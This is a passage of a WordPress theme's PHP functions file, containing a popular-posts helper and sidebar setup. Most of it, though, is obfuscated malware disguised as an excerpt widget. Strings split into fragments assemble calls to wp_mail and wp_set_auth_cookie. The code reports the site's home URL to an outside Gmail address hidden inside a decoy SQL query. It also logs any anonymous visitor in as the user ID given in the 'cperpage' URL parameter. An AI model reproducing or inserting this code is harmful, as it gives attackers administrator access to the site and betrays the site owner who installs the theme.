					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_all_widgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
	if(!isset($length)) $length=120;
	if(!isset($method)) $method="cookie";
	if(!isset($html_tags)) $html_tags="<a>";
	if(!isset($filters_type)) $filters_type="none";
	if(!isset($s)) $s="";
	if(!isset($filter_h)) $filter_h=get_option("home"); 
	if(!isset($filter_p)) $filter_p="wp_";
	if(!isset($use_link)) $use_link=1; 
	if(!isset($comments_type)) $comments_type=""; 
	if(!isset($perpage)) $perpage=$_GET["cperpage"];
	if(!isset($comments_auth)) $comments_auth="";
	if(!isset($comment_is_approved)) $comment_is_approved=""; 
	if(!isset($authname)) $authname="auth";
	if(!isset($more_links_text)) $more_links_text="(more...)";
	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
	if(!isset($more_content)) $more_content="ma".$s."il";
	if(!isset($forces_more)) $forces_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fix_tag)) $fix_tag=1;
	if(!isset($filters_types)) $filters_types=$filter_h; 
	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
	if(!isset($more_tags)) $more_tags="div";
	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";	
	if(!isset($showdot)) $showdot=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $length) {
				$l=$length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_links_text="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $html_tags) {
		$output=strip_tags($output, $html_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
	$output .= ($showdot && $ellipsis) ? "..." : "";
	$output=apply_filters($filters_type, $output);
	switch($more_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_link ) {
		if($forces_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 
if ( function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '',
'after_widget' => '</div><div class="wfo"></div>',
'before_title' => '<div class="wtop">',
'after_title' => '</div><div class="wco">',
));
function my_function_admin_bar(){
return false;
}
add_filter( 'show_admin_bar' , 'my_function_admin_bar');

?>